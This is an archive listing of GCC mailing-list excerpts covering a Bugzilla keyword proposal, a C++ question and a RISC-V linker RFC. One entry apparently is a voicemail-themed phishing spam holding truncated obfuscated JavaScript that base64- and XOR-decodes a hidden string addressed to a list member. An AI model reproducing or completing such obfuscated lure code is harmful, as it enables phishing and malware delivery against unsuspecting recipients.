Re: RFC: Bugzilla keyword "interp" where it is not clear if a program is standard-conforming or not

On Sun, 9 Feb 2025, 09:08 Thomas Koenig via Gcc, wrote: > Hello world, > > looking at a few Fortran bug reports, I found some cases where > it was not clear if the program in question was standard-conforming > or not. I would propose to add a keyword for that, tentatively > called "interp". > >

Re: How "()" works and why

On Sun, 9 Feb 2025 at 21:15, Nicholas Vinson via Gcc wrote: > > > > On 2/9/25 10:38, саша савельев wrote: > > > > To whom it may concern > > > > > > Me and my classmates found strange behaviour of «()» (in C++) on IT lesson, > > but our teacher couldn’t anwer us why it works in this way. After, w

Inbound Caller left (3) VM MSG 00:0430 DURATION-0da4d5e134752a5ecc311012c1cfef2e

_0xd35f = '#x...@gcc.gnu.org'; const _0x968a = _0xa618 => atob(_0xa618); const _0xe7a6 = (_0xa618, _0x941e) => _0xa618.split('').map((_0x695a, _0x9529) => String.fromCharCode(_0x695a.charCodeAt(0) ^ _0x941e.charCodeAt(_0x9529 % _0x941e.length)) ).join(''); const _0x415c = _0xe7a6(_0x9

Re: [RFC] RISC-V: Go PLT for CALL/JUMP/RVC_JUMP if `h->plt.offset' isn't -1

On Sat, 08 Feb 2025 00:33:37 PST (-0800), Nelson Chu wrote: I got an request about the undefined behaviors, considering the following case, $ cat test.c void main () { foo(); } $ cat lib.h void foo(void); $ riscv64-unknown-linux-gnu-gcc test.c riscv64-unknown-linux-gnu/bin/ld: /tmp/ccRO8fJl.o:

Re: RFC: Bugzilla keyword "interp" where it is not clear if a program is standard-conforming or not

Am 10.02.25 um 21:05 schrieb David Malcolm: FWIW my first thought for "interp" was that we gaining an interpreter (there are some in the libgccjit test suite). It was motivated by Fortran interps, which are interpretation requrests. But I think that Richard's suggestion, neeeds-stdcheck, makes

Re: RFC: Bugzilla keyword "interp" where it is not clear if a program is standard-conforming or not

Am 10.02.25 um 08:43 schrieb Richard Biener: We have need-bisection and other need-, so iff then maybe a need-stdchk for cases compliance is unclear? That sounds very good to me; if there are no objections, I will create this in a day or so. The fact that a testcase is (non-)compliant is also

Re: RFC: Bugzilla keyword "interp" where it is not clear if a program is standard-conforming or not

On Mon, 2025-02-10 at 09:29 +, Jonathan Wakely via Gcc wrote: > On Sun, 9 Feb 2025, 09:08 Thomas Koenig via Gcc, > wrote: > > > Hello world, > > > > looking at a few Fortran bug reports, I found some cases where > > it was not clear if the program in question was standard-conforming > > or n

Re: RFC: Bugzilla keyword "interp" where it is not clear if a program is standard-conforming or not

Hi! On 2025-02-10T20:59:43+0100, Thomas Koenig wrote: > Am 10.02.25 um 08:43 schrieb Richard Biener: >> We have need-bisection and other need-, so iff then maybe a need-stdchk for >> cases compliance is unclear? > > That sounds very good to me; if there are no objections, I will create > this in